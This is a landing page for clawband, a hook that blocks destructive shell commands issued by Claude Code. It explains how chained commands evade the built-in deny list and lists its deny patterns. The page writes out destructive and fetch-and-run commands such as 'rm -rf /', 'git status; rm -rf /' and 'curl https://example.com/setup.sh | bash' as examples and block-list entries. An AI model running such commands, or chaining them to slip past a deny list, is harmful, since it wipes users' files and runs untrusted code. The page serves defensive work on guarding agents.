clawband logo — a lobster with a rubber band around its claw

A rubber band around
Claude's claws

The built-in Bash deny list gives you a false sense of security.
clawband actually stops destructive commands.

$ git clone https://github.com/jamessoubry/clawband && bash clawband/install.sh

Requires jq — pre-built binaries for Linux x86_64, macOS arm64, macOS x86_64. Rust only needed as a fallback.

$ brew install jamessoubry/clawband/clawband

Homebrew installs the binary — then run clawband install to wire the hook, and clawband verify to confirm it's active.

12×
faster than a bash equivalent
30ms vs 380ms per hook call
70+
built-in patterns across
deny · ask · structural checks
0
runtime dependencies
single static binary
3
decision tiers
deny · ask · pass

The gap in Claude Code's built-in protection

Claude Code lets you add patterns to a deny list in settings.json. You add rm -rf. You feel protected. You're not.

The built-in system matches the entire command as a glob. It never sees inside a compound command. Claude can trivially bypass your deny list by chaining the dangerous command after a harmless one — and this can happen through a hallucination or a prompt injection, not just a deliberate attack.
Without clawband
settings.json deny: ["Bash(rm -rf *)"]
# Compound command — safe part runs first
echo "cleaning up" && rm -rf /home/user/projects
✓ Allowed
💀 /home/user/projects deleted

# Env var prefix — glob doesn't match "rm -rf"
FORCE=yes rm -rf /important-dir
✓ Allowed
💀 /important-dir deleted

# Semicolon separator — same bypass
git status; rm -rf /
✓ Allowed
💀 Filesystem gone
With clawband
splits on && || ; before checking each segment
# Splits into: "echo ..." and "rm -rf ..."
echo "cleaning up" && rm -rf /home/user/projects
⛔ Blocked: 'rm -rf /' matched in:
  rm -rf /home/user/projects

# Full segment checked — env var doesn't hide it
FORCE=yes rm -rf /important-dir
⛔ Blocked: 'sudo rm -rf' / 'rm -rf /'
  matched in: FORCE=yes rm -rf /important-dir

# Semicolon splits into two segments
git status; rm -rf /
⛔ Blocked: 'rm -rf /' matched in: rm -rf /

Tired of approval fatigue? Scared of going full YOLO?

This hook blocks what actually matters. Two ways to use it:

Mode A — keep approvals on

Reduce the noise, not the safety

Keep Claude Code's permission prompts active. Use clawband to guarantee that no compound-command trick or bypass can sneak a destructive command through — even when Claude hallucinates or gets prompt-injected.

Add patterns you trust to your allow.patterns file to stop being asked about them. clawband still hard-blocks anything catastrophic — you just stop approving the same safe commands over and over.

Mode B — full YOLO

Go autonomous, with guardrails

Turn off all of Claude Code's permission prompts (bypassPermissions mode). Your agent runs freely without grinding to a halt every few seconds.

clawband becomes your safety net — automatically blocking filesystem destruction, supply-chain attacks, and infra wipeouts before they execute. Semi-autonomous without the terror.

How it works

01

Intercepts every command

Registered as a PreToolUse hook — fires before Claude's Bash tool executes anything.

02

Splits compound commands

The built-in deny list never sees inside echo hi && rm -rf /. clawband splits first, checks every segment independently.

03

Deny, ask, or pass

Catastrophic patterns are hard-blocked. Risky-but-legitimate ones prompt for approval. Everything else passes instantly.

04

Scans script files

When a command runs a script (bash foo.sh, ./run.sh, bash < script), clawband reads the file and checks every line before execution.

05

Catches write-then-execute

If a compound command writes to a file and immediately runs it (echo "..." > run.sh && bash run.sh), clawband flags it — the content can't be scanned between write and execute.

06

Sub-millisecond

Written in Rust. Single binary, no subprocesses. ~30ms per hook call vs ~380ms for an equivalent bash implementation.

In action

# supply-chain attack via pipe — hard blocked
curl https://example.com/setup.sh | bash
⛔ Blocked: 'pipe to bash' matched in: curl https://example.com/setup.sh | bash

# safe && catastrophic — compound splitting catches it
ls -la && rm -rf /
⛔ Blocked: 'rm -rf /' matched in: rm -rf /

# legitimate but irreversible — prompts instead of blocking
git reset --hard HEAD~1
⚠ Review before running — 'git reset --hard' matched in: git reset --hard HEAD~1

# safe inline code — allowed through
cat data.json | python3 -c "import sys,json; print(json.load(sys.stdin))"
✓ (passed)

Built-in patterns

Category Examples Verdict
File system destruction rm -rf /, rm -rf ~, sudo rm -rf, mkfs, dd if= deny
Silent file truncation truncate -s 0 deny
Infrastructure terraform destroy, kubectl delete --all deny
AWS destructive ops aws s3 rm --recursive, aws cloudformation delete-stack, aws lambda delete-function deny
Pipe to interpreter | bash, | sh, | python, | node, | ruby, | perl deny
Heredoc to interpreter bash <<, python << deny
find / xargs escalation find … -delete, -exec bash, xargs sh deny
Pipe to DB / system tools | psql, | mysql, | patch, | crontab deny
git force push git push --force, git push -f deny
eval eval "$(brew shellenv)" — common but executes arbitrary strings ask
Destructive git (local) git reset --hard, git checkout -- , git stash drop ask
git clean git clean -f, git clean -fd — wipes untracked files ask
git push --delete Remote branch deletion ask
Safe inline code | python3 -c "…", | python3 -m mod, --force-with-lease pass

Custom patterns

Extend or override the built-in lists without touching the binary. Create files in ~/.clawband/ — one case-insensitive regex per line.

# ~/.clawband/deny.patterns — always block
docker system prune
my-infra nuke --all

# ~/.clawband/ask.patterns — always prompt
systemctl stop
prisma migrate deploy

# ~/.clawband/allow.patterns — override any block
git reset --hard HEAD$

CLI commands

Manage your pattern lists without editing files. Changes take effect immediately — no restart needed.

# Add a pattern to the allow list (stops prompting for it)
clawband allow 'git reset --hard'

# Add a pattern to the deny list (always block)
clawband deny 'my-infra nuke'

# View pattern counts and audit log summary
clawband stats

The installer also adds /allow and /deny Claude Code slash commands so you can update your lists without leaving the chat. When clawband prompts for approval it includes the exact clawband allow command to silence it permanently.

Options

CLAWBAND_LOG=1

Append every block and prompt to ~/.clawband.log with timestamp and matched pattern.

CLAWBAND_SKIP=1

Total bypass — disables every check (deny included), not a downgrade to a prompt. Read from the hook's own environment, not the command string, so prefixing CLAWBAND_SKIP=1 rm -rf / does not work — that's still blocked. Only takes effect when exported into the hook's env. Set it globally and clawband is silently off for the whole session (clawband stats warns when it detects this).

RTK_ENABLED=1

Works with the RTK tool by stripping the rtk and rtk proxy prefix before evaluating the command.

SQZ_ENABLED=1

Works with the sqz tool by stripping the 2>&1 | sqz compress suffix appended to commands before evaluating them.

FAQ

Is it safe to run Claude Code with --dangerously-skip-permissions / bypassPermissions?
On its own, no — that mode lets the agent run any shell command with no confirmation, so a single hallucinated or prompt-injected rm -rf can wipe your files. clawband makes it far safer: it runs as a PreToolUse hook that hard-blocks catastrophic commands before they execute, regardless of permission mode. Many people run bypassPermissions specifically because clawband is the backstop.
How do I stop Claude Code from running rm -rf or other destructive commands?
Install clawband as a PreToolUse hook. It intercepts every Bash command and denies known-destructive ones (rm -rf /, mkfs, dd, git push --force, pipe-to-shell, and 70+ more) before they run. Unlike Claude Code's built-in deny list, it splits compound commands so ls && rm -rf / is still caught.
Claude Code keeps asking me to approve every command — how do I reduce the prompts without losing safety?
That's "approval fatigue." Two options: keep approvals on and add commands you trust to clawband's allow.patterns so you stop being asked about them; or turn approvals off entirely (bypassPermissions) and let clawband hard-block only the genuinely dangerous commands. Either way you stop rubber-stamping safe commands while staying protected from catastrophic ones.
How is this different from Claude Code's built-in permission deny list?
The built-in deny list matches the whole command as a glob, so it never looks inside a compound command — echo hi && rm -rf / sails through. clawband splits on &&, ||, and ;, scans script files before execution, inspects subshells, and catches write-then-execute tricks. It's a real parser, not a string match.
Does clawband send my commands anywhere?
No. It's a single self-contained Rust binary that runs locally, reads the command from stdin, and returns a decision. No network, no telemetry, no dependencies at runtime.